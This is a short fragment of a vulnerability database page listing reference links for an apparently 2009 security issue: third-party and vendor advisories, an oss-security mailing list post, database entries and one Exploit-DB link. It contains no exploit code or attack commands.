Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36327
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2009:233
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.exploit-db.com/exploits/9477
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.openwall.com/lists/oss-security/2009/08/14/1
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/36038
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2009/3316
Tags : vdb-entry, x_refsource_VUPEN
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.